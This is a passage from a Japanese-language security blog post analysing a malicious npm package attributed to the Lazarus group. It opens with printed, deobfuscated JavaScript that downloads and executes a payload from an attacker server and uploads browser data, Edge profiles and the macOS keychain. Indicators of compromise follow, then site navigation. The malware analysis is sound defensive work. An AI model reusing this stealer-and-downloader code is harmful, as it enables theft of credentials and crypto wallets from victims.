        const _0x37e74f = "\"" + homeDir + "\\.pyp\\python.exe\" \"" + _0x2f7a17 + "\"";
        try {
          fs.rmSync(_0x2f7a17);
        } catch (_0x3bd9ea) {}
        request.get("http://144.172.96[.]80:1224/client/106/106", (_0x9dd16b, _0x3ea1c7, _0x3de797) => {
          if (!_0x9dd16b) {
            try {
              fs.writeFileSync(_0x2f7a17, _0x3de797);
              ex(_0x37e74f, (_0x5af396, _0x44ed2b, _0x5bf548) => {});
            } catch (_0x527428) {}
          }
        });
      })();
    } else {
      runP();
    }
  } else {
    (() => {
      request.get("http://144.172.96[.]80:1224/client/106/106", (_0x20405e, _0x32be8c, _0x1add23) => {
        if (!_0x20405e) {
          fs.writeFileSync(homeDir + "/.npl", _0x1add23);
          ex("python3 \"" + homeDir + "/.npl\"", (_0x7f426f, _0x3db0b7, _0x1160de) => {});
        }
      });
    })();
  }
});
var M = 0;
const main = async () => {
  try {
    const _0x153de8 = Math.round(new Date().getTime() / 1000);
    await (async () => {
      try {
        await UpAppData(Q, 0, _0x153de8);
        await UpAppData(R, 1, _0x153de8);
        await UpAppData(X, 2, _0x153de8);
        uploadMozilla(_0x153de8);
        uploadEs(_0x153de8);
        if ('w' == platform[0]) {
          await uploadFiles(getAbsolutePath('~/') + "/AppData/Local/Microsoft/Edge/User Data", '3_', false, _0x153de8);
        }
        if ('d' == platform[0]) {
          await UpKeychain(_0x153de8);
        } else {
          await UpUserData(Q, 0, _0x153de8);
          await UpUserData(R, 1, _0x153de8);
          await UpUserData(X, 2, _0x153de8);
        }
      } catch (_0x324883) {}
    })();
    Xt();
  } catch (_0x2eb6a7) {}
};
main();
Xt();
let Ct = setInterval(() => {
  if ((M += 1) < 2) {
    main();
  } else {
    clearInterval(Ct);
  }
}, 30000);


ここでは、攻撃者がやろうとしている卑劣な行為を見ることができた。このケースでは、非常に古典的なプレイブックです。UA-pajserエクスプロイトなど、多くの攻撃で私たちが目にしてきたのとまったく同じタイプのペイロードです。 

  • 暗号ウォレットを盗む。
  • ブラウザのキャッシュを盗む。
  • キーホルダーを盗む。
  • 追加のペイロードをダウンロードして実行する。

しかし、古典的なものには理由がある。一般的にうまくいくし、サプライチェーン攻撃から利益を得る最も速く/最も簡単な方法である。 

このペイロードは我々にとって見慣れないものではなく、国家に支援された北朝鮮のハッキング・グループ、Lazarusによるものだとすぐにわかった。最近、暗号取引所ByBitから15億ドルのイーサリアムを盗んだ、地球上で最も洗練されたハッキンググループの1つです(それだけでは不十分なようです)。 

アプリケーションからマルウェアを排除する!

Aikido 、NPMjsのようなパブリックレジストリを監視し、従来のスキャナと訓練されたAIモデルの組み合わせを使用して、悪意のあるパッケージが導入された場合、または以前は良性であったパッケージが悪意に変わった場合に識別するマルウェア検出脅威フィードを開始しました。このような悪意のあるパッケージは、intel.aikido.devの マルウェア脅威フィードで見ることができます。

要点

国民国家の脅威行為者でさえ愚かなミスを犯すという事実以外にも、この件から得られる興味深い教訓がいくつかある。最大のものは、隠れようとすれば必ず目立つということだ。

通常、Lazarusは一般的な難読化ツールを使ってコードを難読化しています。しかし、難読化は簡単に解除することができ、難読化の存在だけで、パッケージのより詳細な分析と精査の引き金となります。

彼らのように悪意のあるペイロードを人間の目から "隠そうと "するのは賢い。しかし、そうすることで、実際にはさらに多くのシグナルを導入している。なぜなら、このような大量の空白は普通ではないからだ。隠そうとすることは、常に検知のために活用できるシグナルを増やすことになる。

そのため、ペイロードの大部分をリモートサーバーに移し、実行時にフェッチするようにしている。しかし、サーバーから何かをフェッチするという動作は、より多くの検知シグナルをもたらす。 

私たちがAI検知システムを訓練している検知技術の幅広い組み合わせによって、些細なことでも検知できるものばかりだ。彼らが隠れようとすればするほど、実際はもっと簡単に検出されてしまう。 


‍ビデオをチェックする。

‍

ラザロ・グループの指標

私たちは、ペイロード内のいくつかのフィンガープリントと以下の追加インジケータにより、このマルウェアをLazarusグループと断定することができます。

知的財産権

  • 144.172.96[.]80

URL

  • hxxp://144.172.96[.]80:1224/client/106/106
  • hxxp://144.172.96[.]80:1224/uploads 
  • hxxp://144.172.96[.]80:1224/pdown
  • https://ipcheck-production.up.railway[.]app/106

npmアカウント

  • pdec212

Githubアカウント

  • pdec9690

文:チャーリー・エリクセン

マルウェア・リサーチャー

シェアする

https://www.aikido.dev/blog/malware-hiding-in-plain-sight-spying-on-north-korean-hackers

目次
テキストリンク
シェアする
キーボードを使う
左キーでAikidoスライダーの前へ移動
次のスライドに移動するには、右矢印キーを使用します。
記事を読み進める
?による
マッケンジー・ジャクソン

AIオートトリアージでサイバーセキュリティ負債を減らす

Aikido
2025年5月21日
もっと読む
?による
マッケンジー・ジャクソン

SBOM規格を理解する:CycloneDX、SPDX、SWIDを見る

テクニカル
2025年5月20日
もっと読む
?による
マッケンジー・ジャクソン

バイブ・チェックバイブ・コーダーのセキュリティ・チェックリスト

ガイド
2025年5月19日
もっと読む
?による
チャーリー・エリクセン

ご招待しますGoogleカレンダー招待とPUAによるマルウェア配信

マルウェア
2025年5月13日
もっと読む
?による
マッケンジー・ジャクソン

コンテナ・ベース・イメージのアップデートが難しい理由(そしてそれを容易にする方法)

エンジニアリング
2025年5月12日
もっと読む
?による
チャーリー・エリクセン

ラタトゥイユrand-user-agentに隠された悪意のあるレシピ(サプライチェーンの侵害)

2025年5月6日
もっと読む
?による
チャーリー・エリクセン

XRPサプライチェーン攻撃:NPMの公式パッケージが暗号を盗むバックドアに感染

マルウェア
2025年4月22日
もっと読む
?による
チャーリー・エリクセン

マルウェア出会いガイド故宮マルウェアの種類を理解する

マルウェア
2025年4月10日
もっと読む
?による
チャーリー・エリクセン

隠れて失敗する難読化されたマルウェア、空のペイロード、そしてnpmの悪ふざけ

マルウェア
2025年4月3日
もっと読む
?による
マッケンジー・ジャクソン

サプライチェーンのセキュリティにロックファイルが重要な理由

ガイド
2025年4月1日
もっと読む
?による
マデリーン・ローレンス

Aikido マルウェアの起動 - Open Source Threat Feed

ニュース
2025年3月31日
もっと読む
?による
マデリーン・ローレンス

TL;DR: tj-actions/changed-files サプライチェーン・アタック

ニュース
2025年3月16日
もっと読む
?による
マッケンジー・ジャクソン

脆弱性を気にする開発者のための、BSなしのDockerセキュリティ・チェックリスト

ガイド
2025年3月6日
もっと読む
?による
マッケンジー・ジャクソン

JavaScriptによるSQLインジェクション攻撃の検知と阻止

ガイド
2025年3月4日
もっと読む
?による
フロリス・ヴァン・デン・アベール

PrismaとPostgreSQLにNoSQLインジェクションの脆弱性?意外なセキュリティリスクを解説

エンジニアリング
2025年2月14日
もっと読む
?による
ウィレム・デルベール

△Opengrepの立ち上げ|Semgrepをフォークした背景

ニュース
2025年1月24日
もっと読む
?による
トーマス・セグラ

クライアントがNIS2の脆弱性パッチ適用を要求。どうしますか?

2025年1月14日
もっと読む
?による
マッケンジー・ジャクソン

スタートアップ企業によるアプリケーション・セキュリティのオープンソースガイド

ガイド
2024年12月23日
もっと読む
?による
マデリーン・ローレンス

カーソルAIのためにAikidoを立ち上げる

エンジニアリング
2024年12月13日
もっと読む
?による
マッケンジー・ジャクソン

△インテルとの出会い:LLMによるAikidoオープンソース脅威フィード。

エンジニアリング
2024年12月13日
もっと読む
?による
ヨハン・デ・キューレナー

AikidoがAWSパートナーネットワークに加盟

ニュース
2024年11月26日
もっと読む
?による
マッケンジー・ジャクソン

2024年のコマンドインジェクション

エンジニアリング
2024年11月24日
もっと読む
?による
マッケンジー・ジャクソン

2024年のパストラバーサル - その年を紐解く

エンジニアリング
2024年11月23日
もっと読む
?による
マッケンジー・ジャクソン

セキュリティのバランス:オープンソースツールと商用ツールの使い分け

ガイド
2024年11月15日
もっと読む
?による
マッケンジー・ジャクソン

SQLインジェクションの現状

ガイド
2024年11月8日
もっと読む
?による
△ミヒエル・ドゥニ

AikidoによるVismaのセキュリティ強化:ニコライ・ブロガードとの対話

ニュース
2024年11月6日
もっと読む
?による
△ミヒエル・ドゥニ

フィンテックにおけるセキュリティ:Boundの共同設立者兼CTO、ダン・キンドラー氏とのQ&A

ニュース
2024年10月10日
もっと読む
?による
マデリーン・ローレンス

SprintoGRC×Aikidoコンプライアンスを自動化

ニュース
2024年9月11日
もっと読む
?による
マデリーン・ローレンス

SAST対DAST:知っておくべきこと

ガイド
2024年9月2日
もっと読む
?による
リーヴェン・オスターリンク

5つのSnykの代替品と、それらがより優れている理由

ニュース
2024年8月5日
もっと読む
?による
マデリーン・ローレンス

私たちがLaravelとの提携を熱望する理由

ニュース
2024年7月8日
もっと読む
?による
フェリックス・ガリオー

Polyfillのサプライチェーン攻撃で11万サイトに影響

ニュース
2024年6月27日
もっと読む
?による
フェリックス・ガリオー

LegalTech企業向けサイバーセキュリティの必須事項

ニュース
2024年6月25日
もっと読む
?による
ローランド・デルルー

Drata Integration - 技術的脆弱性管理を自動化する方法

ガイド
2024年6月18日
もっと読む
?による
ジョエル・ハンス

DIYガイド:OSSコードスキャンとアプリセキュリティツールキットを「自作するか購入するか」

ガイド
2024年6月11日
もっと読む
?による
ローランド・デルルー

SOC 2認証:私たちが学んだ5つのこと

ガイド
2024年6月4日
もっと読む
?による
ジョエル・ハンス

アプリのセキュリティ問題トップ10とその対策

ガイド
2024年5月28日
もっと読む
?による
マデリーン・ローレンス

シリーズAで1700万ドルを調達した

ニュース
2024年5月2日
もっと読む
?による
ウィレム・デルベール

Webhookセキュリティ・チェックリスト:安全なウェブフックを構築する方法

ガイド
2024年4月4日
もっと読む
?による
ウィレム・デルベール

セキュリティ・アラート疲労症候群への対処法

エンジニアリング
2024年2月21日
もっと読む
?による
ローランド・デルルー

NIS2:誰が影響を受けるのか?

ガイド
2024年1月16日
もっと読む
?による
ローランド・デルルー

ISO 27001認証:私たちが学んだ8つのこと

ガイド
2023年12月5日
もっと読む
?による
ローランド・デルルー

クロノス・グループ、企業・顧客のセキュリティ強化にAikido セキュリティを採用

ニュース
2023年11月30日
もっと読む
?による
バート・ヨンクヘール

LoctaxがAikido Securityを使用して無関係なセキュリティ警告とフォルスポジティブを排除する方法

ニュース
2023年11月22日
もっと読む
?による
フェリックス・ガリオー

Aikido Security、成長するSaaSビジネスにシームレスなセキュリティ・ソリューションを提供するため500万ユーロを調達

ニュース
2023年11月9日
もっと読む
?による
ローランド・デルルー

Aikido セキュリティはISO27001:2022に準拠

ニュース
2023年11月8日
もっと読む
?による
フェリックス・ガリオー

△StoryChiefのCTOがAikido セキュリティを使用して夜ぐっすり眠る方法

ニュース
2023年10月24日
もっと読む
?による
ウィレム・デルベール

CVEとは何か?

ガイド
2023年10月17日
もっと読む
?による
ウィレム・デルベール

2024年Webアプリケーション・セキュリティの脆弱性トップ3

エンジニアリング
2023年9月27日
もっと読む
?による
フェリックス・ガリオー

Aikidoの最新セキュリティ機能 2023年8月

ニュース
2023年8月22日
もっと読む
?による
フェリックス・ガリオー

Aikidoの2025年SaaS CTOセキュリティ・チェックリスト

ニュース
2023年8月10日
もっと読む
?による
フェリックス・ガリオー

Aikidoの2024年SaaS CTOセキュリティ・チェックリスト

ニュース
2023年8月10日
もっと読む
?による
フェリックス・ガリオー

CTOが明かすクラウドとコードセキュリティの15の最重要課題

エンジニアリング
2023年7月25日
もっと読む
?による
ウィレム・デルベール

OWASPトップ10とは?

ガイド
2023年7月12日
もっと読む
?による
ウィレム・デルベール

SaaSアプリの安全な管理画面を構築する方法

ガイド
2023年7月11日
もっと読む
?による
ローランド・デルルー

ISO 27001:2022に備えるには

ガイド
2023年7月5日
もっと読む
?による
ウィレム・デルベール

CI/CDプラットフォームがハッキングされるのを防ぐ

ガイド
2023年6月19日
もっと読む
?による
フェリックス・ガリオー

セキュリティー評価報告書でより早く取引を成立させる方法

ニュース
2023年6月12日
もっと読む
?による
ウィレム・デルベール

技術的脆弱性管理の自動化 [SOC 2]

ガイド
2023年6月5日
もっと読む
?による
ウィレム・デルベール

リポジトリ内のプロトタイプ汚染を防ぐ

ガイド
2023年6月1日
もっと読む
?による
ウィレム・デルベール

SaaSスタートアップのCTOは、開発スピードとセキュリティのバランスをどうとるか?

ガイド
2023年5月16日
もっと読む
?による
ウィレム・デルベール

シンプルな電子メール送信フォームを通じて、ある新興企業のクラウドがどのようにハッキングされたのか?

エンジニアリング
2023年4月10日
もっと読む
?による
フェリックス・ガリオー

Aikido Security、開発者ファーストのソフトウェアセキュリティプラットフォーム構築のため200万ユーロのプ投資ラウンドを調達

ニュース
2023年1月19日
もっと読む
XRPサプライチェーン攻撃:NPMの公式パッケージが暗号を盗むバックドアに感染
?による
チャーリー・エリクセン

XRPサプライチェーン攻撃:NPMの公式パッケージが暗号を盗むバックドアに感染

マルウェア
2025年3月31日
Aikido マルウェアの起動 - Open Source Threat Feed
?による
マデリーン・ローレンス

Aikido マルウェアの起動 - Open Source Threat Feed

ニュース
2025年3月18日
バイブ・チェックバイブ・コーダーのセキュリティ・チェックリスト
?による
マッケンジー・ジャクソン

バイブ・チェックバイブ・コーダーのセキュリティ・チェックリスト

ガイド
2025年2月11日

無料で安全を確保

コード、クラウド、ランタイムを1つの中央システムでセキュアに。
脆弱性を迅速に発見し、自動的に修正。

無料で始める
CC不要
デモを予約する
クレジットカードは不要。
会社概要
製品価格について採用情報お問い合わせパートナー制度
リソース
資料公開APIドキュメント脆弱性データベースブログインテグレーション用語集プレスリリースカスタマーレビュー
セキュリティ
トラストセンターセキュリティの概要クッキー設定の変更
リーガル
プライバシーポリシークッキーポリシー利用規約マスターサブスクリプション契約データ処理契約
使用例
コンプライアンスSAST & DASTASPM脆弱性管理SBOMの生成WordPressセキュリティコード保護マイクロソフトのためのAikido
産業別
ヘルステックメドテックフィンテックセキュリティテックリーガルテックHRテックエージェント向け企業向けPEおよびグループ会社向け
比較する
全ベンダーとの比較vs Snyk対Wizvs Mendvs オルカ・セキュリティvs Veracodevs GitHubアドバンスドセキュリティvs GitLab Ultimatevs Checkmarxvs Semgrepvs SonarQube
リンクする
hello@aikido.dev
LinkedInX
サブスクライブ
すべての最新情報を入手
まだまだ。
👋🏻 ご登録ありがとうございます!
チーム Aikido
まだまだ。
© 2025 Aikido Security BV | BE0792914919
🇪🇺 登録住所:Coupure Rechts 88, 9000, Ghent, Belgium
🇪🇺 事務所所在地:Gebroeders van Eyckstraat 2, 9000, Ghent, Belgium
🇺🇸 事務所住所:95 Third St, 2nd Fl, San Francisco, CA 94103, US
SOC 2
コンプライアンス
ISO 27001
コンプライアンス